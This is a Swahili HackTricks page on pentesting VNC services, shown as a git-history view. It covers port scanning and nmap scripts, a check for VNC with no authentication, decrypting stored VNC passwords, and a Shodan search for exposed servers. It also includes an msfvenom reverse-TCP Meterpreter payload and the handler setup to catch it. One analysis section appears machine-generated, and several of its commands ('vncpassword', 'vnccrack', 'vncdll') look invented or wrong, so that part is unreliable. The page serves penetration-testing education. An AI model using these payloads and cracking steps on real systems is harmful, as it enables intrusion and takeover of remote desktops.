hacktricks/network-services-pentesting/pentesting-vnc.md

139 lines
5.6 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 5800,5801,5900,5901 - Pentesting VNC
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalam wa juu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:13:58 +00:00
## Taarifa Msingi
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
**Virtual Network Computing (VNC)** ni mfumo imara wa kushirikiana na kudhibiti kompyuta nyingine kwa kutumia itifaki ya **Remote Frame Buffer (RFB)**. Kwa kutumia VNC, watumiaji wanaweza kuingiliana kwa urahisi na kompyuta nyingine kwa kuhamisha matukio ya kibodi na panya kwa pande zote mbili. Hii inaruhusu ufikiaji wa wakati halisi na inasaidia msaada wa mbali au ushirikiano ufanisi kupitia mtandao.
2024-02-11 02:13:58 +00:00
VNC kawaida hutumia bandari **5800 au 5801 au 5900 au 5901.**
```
PORT STATE SERVICE
5900/tcp open vnc
```
2024-02-11 02:13:58 +00:00
## Uchambuzi
### VNC (Virtual Network Computing)
VNC ni itifaki ya mtandao inayotumiwa kudhibiti kompyuta kijijini. Inaruhusu mtumiaji kuona na kudhibiti skrini ya kompyuta nyingine kupitia mtandao. Kwa kawaida, VNC hutumia bandari 5900 kwa mawasiliano.
#### Kuchunguza VNC
Kuna njia kadhaa za kuchunguza ikiwa mfumo una VNC inayotumika:
- Tumia nmap kuangalia ikiwa bandari 5900 imefunguliwa:
```
nmap -p 5900 <IP>
```
- Tumia netcat kuangalia ikiwa mfumo unajibu kwenye bandari 5900:
```
nc -nvz <IP> 5900
```
2024-02-11 02:13:58 +00:00
#### Kuvunja VNC
Ikiwa VNC inapatikana na unataka kuvunja mfumo, unaweza kujaribu njia zifuatazo:
- Tumia msfvenom kuunda payload ya Metasploit:
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > payload.exe
```
- Tumia Metasploit kuanzisha kikao cha kudhibiti kijijini:
```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
run
```
- Tumia VNC kudhibiti kijijini:
```
vncviewer <IP>:<PORT>
```
2024-02-11 02:13:58 +00:00
#### Kuvuja VNC
Ikiwa unataka kuvuja habari kutoka kwa mfumo unaotumia VNC, unaweza kujaribu njia zifuatazo:
- Tumia VNCsnapshot kuokoa skrini ya kompyuta iliyodhibitiwa:
```
vncsnapshot <IP>:<PORT> snapshot.png
```
- Tumia VNCpassword kuokoa nywila iliyohifadhiwa kwenye mfumo:
```
vncpassword <IP>:<PORT>
```
- Tumia VNCrack kuvunja nywila ya VNC:
```
vnccrack -u <USER> -P <PASSWORD_FILE> <IP>:<PORT>
```
- Tumia VNCdll kuvunja nywila ya VNC:
```
vncdll <IP>:<PORT> <USER> <PASSWORD>
```
#### Vidokezo vya ziada
- Hakikisha kutumia nywila ngumu na yenye nguvu kwa VNC.
- Weka VNC upya kwa toleo la hivi karibuni ili kuepuka udhaifu uliojulikana.
```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
msf> use auxiliary/scanner/vnc/vnc_none_auth
```
2024-02-11 02:13:58 +00:00
### [**Kuvunja nguvu**](../generic-methodologies-and-resources/brute-force.md#vnc)
2024-02-11 02:13:58 +00:00
## Unganisha kwenye vnc ukitumia Kali
```bash
vncviewer [-passwd passwd.txt] <IP>::5901
```
2024-02-11 02:13:58 +00:00
## Kuvunja siri ya VNC
2024-02-11 02:13:58 +00:00
**Siri ya msingi imehifadhiwa** katika: \~/.vnc/passwd
2024-02-11 02:13:58 +00:00
Ikiwa una siri ya VNC na inaonekana imefichwa (baadhi ya herufi, kama ikiwa ni siri iliyofichwa). Inawezekana kuwa imefichwa kwa kutumia 3des. Unaweza kupata siri wazi ya nenosiri kwa kutumia [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
```bash
make
vncpwd <vnc password file>
```
2024-02-11 02:13:58 +00:00
Unaweza kufanya hivi kwa sababu nenosiri linalotumiwa ndani ya 3des kwa kusimbua nywila za VNC za maandishi wazi liligeuzwa miaka iliyopita.\
Kwa **Windows** unaweza pia kutumia chombo hiki: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Nimehifadhi chombo hiki hapa pia kwa urahisi wa kupata:
{% file src="../.gitbook/assets/vncpwd.zip" %}
2022-05-01 13:25:53 +00:00
## Shodan
2020-09-23 23:00:32 +00:00
2020-09-24 19:58:30 +00:00
* `port:5900 RFB`
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>